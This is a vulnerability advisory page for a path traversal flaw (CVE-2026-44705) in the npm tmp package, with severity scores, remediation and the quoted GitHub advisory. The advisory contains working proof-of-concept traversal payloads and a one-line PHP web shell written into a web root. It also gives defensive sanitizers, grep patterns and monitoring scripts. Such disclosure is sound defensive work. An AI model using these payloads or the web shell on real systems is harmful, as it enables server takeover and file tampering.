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tmp (npm) EUVDEUVD-2026-36264

| CVE-2026-44705 HIGH
Path Traversal (CWE-22)
2026-05-27 https://github.com/raszi/node-tmp GHSA-ph9p-34f9-6g65
7.7
CVSS 4.0 · Vendor: https://github.com/raszi/node-tmp
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Node app passing user input into tmp options
  2. Delivery
    Submit payload with `../` in prefix/postfix or absolute path in dir
  3. Exploit
    tmp builds path via path.join without containment check
  4. Execution
    File written outside tmpdir at attacker-chosen location
  5. Persist
    Overwrite config or drop web shell
  6. Impact
    Triggered on next request or restart for code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires a downstream application that passes attacker-controlled data into one or more of tmp's prefix, postfix, dir, or template options without sanitization, while calling tmp.file(), tmp.dir(), or tmp.tmpName() from tmp < 0.2.6. The attacker's reach is bounded by the process UID (files land with the Node process's permissions) and by the destination filesystem being writable by that UID - there is no native network listener in tmp itself. Exploitation is platform-agnostic (Unix ../, Windows ..\) and does not require a non-default tmp configuration; conversely, applications that only use literal prefix/postfix values or that strip path separators before calling tmp are not exploitable.

Impact

Signals are mixed and require careful reading. The reporter-supplied CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.1) and CVSS 4.0 vector with VC:H look high, but the vulnerability is in a library, not a network-listening service - exploitation requires that a downstream application forward attacker-controlled input directly into tmp's prefix/postfix/dir, which is uncommon in practice. The provided CVSS 4.0 score also marks VC:H while CVSS 3.1 has C:N, an internal inconsistency in the input data that should be flagged. EPSS, KEV, and SSVC data were not provided. A patch is confirmed available (0.2.6, commit efa4a06) and a PoC is published in the GHSA write-up, so this is a real but conditional issue: prioritize for any service that passes user input into tmp options or that runs as a privileged process; deprioritize for code that only uses literal/hard-coded prefixes.

Exploit ScenarioDerived

A Node.js web service that accepts a user-supplied filename hint and passes it as tmp.file({ prefix: req.body.name }, ...) is exploited by sending prefix="../../../var/www/html/shell" with PHP/JS payload bytes written to the returned fd, dropping a web shell under the document root with the Node process's UID. Publicly available exploit code exists in the GHSA advisory demonstrating prefix, postfix, dir-absolute, and combined-vector bypasses against a known tmpdir.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

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AnalysisAIv3 – Jun 11, 2026

Path traversal in the tmp npm package (versions < 0.2.6) lets callers escape the intended temporary directory by passing traversal sequences or absolute paths in the prefix, postfix, or dir options to tmp.file(), tmp.dir(), or tmp.tmpName(). Applications that forward untrusted input into those options can be coerced into creating files at attacker-chosen filesystem locations with the process's privileges, enabling config poisoning, cache poisoning, or web-shell drops. Publicly available exploit code exists (the advisory ships a working PoC and a regression test), but no public exploit identified at time of analysis indicates active exploitation in the wild.

Earlier versions of this analysis (2)
v2 Jun 11, 2026 - 17:46 cvss changed CVSS 7.7

Path traversal in the tmp npm package (versions < 0.2.6) allows callers passing untrusted data into the prefix, postfix, or dir options to create files outside the intended temporary directory at attacker-chosen locations with the process's privileges. Publicly available exploit code exists (PoC in the GHSA advisory) but there is no public exploit identified at time of analysis as actively exploited, and no CISA KEV listing. Risk is contingent on downstream applications passing user-controlled values into these options without sanitization.

v1 May 27, 2026 - 00:58

Arbitrary file creation outside the intended temporary directory affects the tmp npm package in all versions prior to 0.2.6, where attacker-controlled data flowing into the prefix, postfix, or dir options can break out of the temp base path. Because the library composes paths with path.join() and never validates that the result stays within the configured tmpDir, traversal sequences (../) or absolute paths let a caller write files to arbitrary locations with the process's privileges. Publicly available exploit code exists in the GitHub advisory (GHSA-ph9p-34f9-6g65); there is no evidence of active exploitation (not in CISA KEV) and no EPSS score was provided.

RemediationAI

Vendor-released patch: tmp 0.2.6 - upgrade via npm install tmp@^0.2.6 (or npm update tmp and verify resolved versions with npm ls tmp, since transitive copies are common). The fix commit is https://github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429 and the advisory is https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65. If immediate upgrade is blocked (e.g., transitive dependency pinned by another package), the actionable workarounds are: (1) never forward user-controlled values into the prefix, postfix, dir, or template options - use literal constants only; (2) if user input must influence the filename, run it through path.basename() and a strict allowlist like /[^A-Za-z0-9._-]/; (3) reject any dir option where path.isAbsolute(dir) is true or path.relative(baseDir, path.resolve(baseDir, dir)) starts with ..; (4) validate the returned filepath stays inside tmpdir after creation and unlink+abort if not. Trade-off: input-sanitization workarounds rely on every call site being audited, which is fragile compared with upgrading the library itself.

Affected VersionsENISA

node-tmp < 0.2.6

Affected Packages

npm tmp fix: 0.2.6
euvd node_tmp fix: 0.2.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

tmp is a widely-depended-on Node.js utility for creating temporary files and directories (pkg:npm/tmp, repo github.com/raszi/node-tmp). The flaw is a classic CWE-22 Improper Limitation of a Pathname to a Restricted Directory: tmp built filenames as <prefix>-<pid>-<random>-<postfix> and composed the final path with path.join(tmpDir, opts.dir || '', name) with no containment check. Because Node's path.join normalizes ../ segments and silently discards the left-hand argument when the right-hand argument is absolute, any caller-supplied prefix/postfix/dir containing .. or an absolute path could land the file outside tmpDir on Unix, Windows, or mixed paths. The 0.2.6 patch (commit efa4a06) adds an _assertPath helper that throws on any .. substring in prefix/postfix/template and tightens the post-construction containment check from startsWith(tmpDir) to relativePath.startsWith('..') || path.isAbsolute(relativePath).

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Severity by source

Vendor (https://github.com/raszi/node-tmp) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.1 MEDIUM

Library flaw exploitable only when a local/authenticated caller controls tmp options; integrity high (arbitrary file write), confidentiality unchanged, availability low (overwrite can break apps).

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
4.0 AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
SUSE 5.3 MEDIUM
AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Red Hat 8.2 HIGH

Primary rating from Vendor (https://github.com/raszi/node-tmp).

CVSS VectorVendor: https://github.com/raszi/node-tmp

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 11, 2026 - 17:46 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 11, 2026 - 17:46 vuln.today
v2 - CVSS changed
CVSS changed
Jun 11, 2026 - 17:37 NVD
7.7 (HIGH)

DescriptionCVE.org

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow:

  1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix>
  2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name)
  3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape
  4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern:

javascript
// In tmp package internals
const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;
const finalPath = path.join(tmpDir, opts.dir || '', name);
// No validation that finalPath remains within tmpDir

Path Traversal Mechanics:

  • prefix/postfix traversal: ../../../evil in prefix escapes directory structure
  • Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely
  • Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text
  • Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points:

  • No input validation on prefix, postfix, or dir parameters
  • Direct use of user input in path construction
  • Reliance on path.join() normalization without containment checks
  • Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix:

javascript
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

// Create a controlled base directory
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('Base directory:', baseDir);

// Escape via prefix
tmp.file({
  tmpdir: baseDir,
  prefix: '../escaped'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;

  console.log('Created file:', filepath);
  console.log('Relative to base:', path.relative(baseDir, filepath));
  // Output shows: ../escaped-<pid>-<random>

  cleanup();
});

Directory Escape via postfix:

javascript
tmp.file({
  tmpdir: baseDir,
  postfix: '/../../pwned.txt'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;

  console.log('Escaped file:', filepath);
  console.log('Escaped outside base:', !filepath.startsWith(baseDir));

  cleanup();
});

Absolute Path Bypass via dir:

javascript
tmp.file({
  tmpdir: '/safe/tmp/dir',
  dir: '/tmp/evil-location',
  prefix: 'bypassed'
}, (err, filepath, fd, cleanup) => {
  if (err) throw err;

  console.log('Bypassed to:', filepath);
  // File created in /tmp/evil-location instead of /safe/tmp/dir

  cleanup();
});

Advanced Multi-Vector Attack:

javascript
const maliciousOpts = {
  tmpdir: '/app/safe-tmp',
  dir: '../../../tmp',           // Escape base
  prefix: '../sensitive-area/',   // Further traversal
  postfix: 'malicious.config'     // Controlled filename
};

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {
  // Results in file creation at: /tmp/sensitive-area/malicious.config
  console.log('Final malicious path:', filepath);
  cleanup();
});

Real-World Attack Simulation:

javascript
// Simulate web API that accepts user file prefix
function createUserTempFile(userPrefix, content) {
  return new Promise((resolve, reject) => {
    tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {
      if (err) return reject(err);

      fs.writeSync(fd, content);
      console.log('User file created at:', path);
      resolve({ path, cleanup });
    });
  });
}

// Attacker input
const attackerPrefix = '../../../var/www/html/backdoor';
createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>');
// Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation:

  • Files created outside intended temporary directories
  • Attacker control over file placement location
  • Potential to overwrite existing files (depending on creation flags)
  • Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning:

  • User uploads file with malicious prefix/postfix
  • tmp creates "temporary" file in application configuration directory
  • Malicious configuration loaded on next application restart

2. Cache Poisoning:

  • Application caches user content using tmp
  • Attacker escapes to cache directory of different user/tenant
  • Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise:

  • CI/CD system processes user PRs with tmp usage
  • Malicious prefix escapes to build output directories
  • Compromised build artifacts deployed to production

4. Container Escape Attempt:

  • Containerized application uses tmp with user input
  • Attacker attempts to escape container temp restrictions
  • Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass:

  • SaaS platform isolates tenants using separate tmp directories
  • Tenant A escapes their tmp space to tenant B's area
  • Cross-tenant data access and potential privilege escalation

Business Impact:

  • Data Integrity: Unauthorized file placement can corrupt application state
  • Service Disruption: Files in wrong locations may break application functionality
  • Security Bypass: Escape temporary isolation boundaries
  • Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

  • Ecosystem: npm
  • Package name: tmp
  • Repository: github.com/raszi/node-tmp
  • Affected versions: All versions with vulnerable path construction logic
  • Patched versions: None currently available

Component Impact:

  • tmp.file() function - vulnerable to prefix/postfix/dir traversal
  • tmp.dir() function - vulnerable to same parameter manipulation
  • tmp.tmpName() function - if using affected path construction

Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

  1. Sanitize prefix/postfix:
javascript
function sanitizePrefix(prefix) {
  if (!prefix) return '';
  // Remove path separators and traversal sequences
  return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-');
}

function sanitizePostfix(postfix) {
  if (!postfix) return '';
  // Allow only safe characters
  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');
}
  1. Validate dir parameter:
javascript
function validateDir(dir, baseDir) {
  if (!dir) return '';

  // Reject absolute paths
  if (path.isAbsolute(dir)) {
    throw new Error('Absolute paths not allowed for dir option');
  }

  // Resolve and check containment
  const resolved = path.resolve(baseDir, dir);
  const relative = path.relative(baseDir, resolved);

  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Dir option escapes base directory');
  }

  return dir;
}
  1. Post-construction path validation:
javascript
function validateFinalPath(finalPath, baseDir) {
  const resolved = path.resolve(finalPath);
  const relative = path.relative(path.resolve(baseDir), resolved);

  if (relative.startsWith('..') || path.isAbsolute(relative)) {
    throw new Error('Generated path escapes temporary directory');
  }

  return resolved;
}

Secure Implementation Pattern:

javascript
function createTempFile(options) {
  const opts = { ...options };

  // Sanitize inputs
  opts.prefix = sanitizePrefix(opts.prefix);
  opts.postfix = sanitizePostfix(opts.postfix);
  opts.dir = validateDir(opts.dir, opts.tmpdir);

  // Create with sanitized options
  return tmp.file(opts, (err, path, fd, cleanup) => {
    if (err) return callback(err);

    // Validate final path
    try {
      validateFinalPath(path, opts.tmpdir);
    } catch (validationErr) {
      cleanup();
      return callback(validationErr);
    }

    callback(null, path, fd, cleanup);
  });
}

Workarounds

For Application Developers:

  1. Input Sanitization:
javascript
// Sanitize before passing to tmp
function safeTmpFile(userOptions) {
  const safeOpts = {
    ...userOptions,
    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,
    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,
    dir: undefined // Don't allow user-controlled dir
  };

  return tmp.file(safeOpts);
}
  1. Path Validation:
javascript
function validateTmpPath(tmpPath, expectedBase) {
  const relativePath = path.relative(expectedBase, tmpPath);
  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {
    throw new Error('Temporary file path escaped base directory');
  }
  return tmpPath;
}
  1. Restricted Usage:
javascript
// Only use tmp with known-safe, literal values
tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);
// Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

  1. Code Review Patterns:
bash
# Search for dangerous tmp usage
grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" .
grep -r "tmp\.dir.*opts\|tmp\.file.*opts" .
  1. Runtime Monitoring:
javascript
// Monitor for files created outside expected temp areas
const originalFile = tmp.file;
tmp.file = function(options, callback) {
  return originalFile(options, (err, path, fd, cleanup) => {
    if (!err && options.tmpdir) {
      const relative = require('path').relative(options.tmpdir, path);
      if (relative.startsWith('..')) {
        console.warn('Path traversal detected:', path);
      }
    }
    return callback(err, path, fd, cleanup);
  });
};

Detection and Monitoring

Static Analysis:

  • Scan for tmp usage with user-controlled input
  • Identify unsanitized parameter passing to tmp functions
  • Review file creation patterns in temporary directories

Runtime Detection:

javascript
// Log suspicious tmp operations
function monitorTmpUsage() {
  const originalTmpFile = require('tmp').file;

  require('tmp').file = function(options = {}, callback) {
    // Check for suspicious patterns
    const suspicious = [
      options.prefix && options.prefix.includes('..'),
      options.postfix && options.postfix.includes('..'),
      options.dir && path.isAbsolute(options.dir)
    ].some(Boolean);

    if (suspicious) {
      console.warn('Suspicious tmp usage detected:', options);
    }

    return originalTmpFile.call(this, options, callback);
  };
}

File System Monitoring:

bash
# Monitor file creation outside expected temp directories
inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do
  if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then
    echo "Unexpected file creation: $file"
  fi
done

Acknowledgements

Reported by: Mapta / BugBunny_ai

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1,066 npm packages depend on tmp (21 direct, 1,046 indirect)

Ecosystem-wide dependent count for version 0.2.6.

Executive ViewAI

Why It Matters

The npm 'tmp' package (versions below 0.2.6) contains a path traversal vulnerability enabling attackers to write files to arbitrary filesystem locations when applications process untrusted input for temporary file operations. Exploitation can lead to configuration poisoning, cache corruption, or remote code execution through malicious file placement. Organizations using this widely-deployed utility must immediately upgrade to remediate the vulnerability and review dependent applications for exposure to untrusted input sources.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Threat Intel
1
1 sources
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

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Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected

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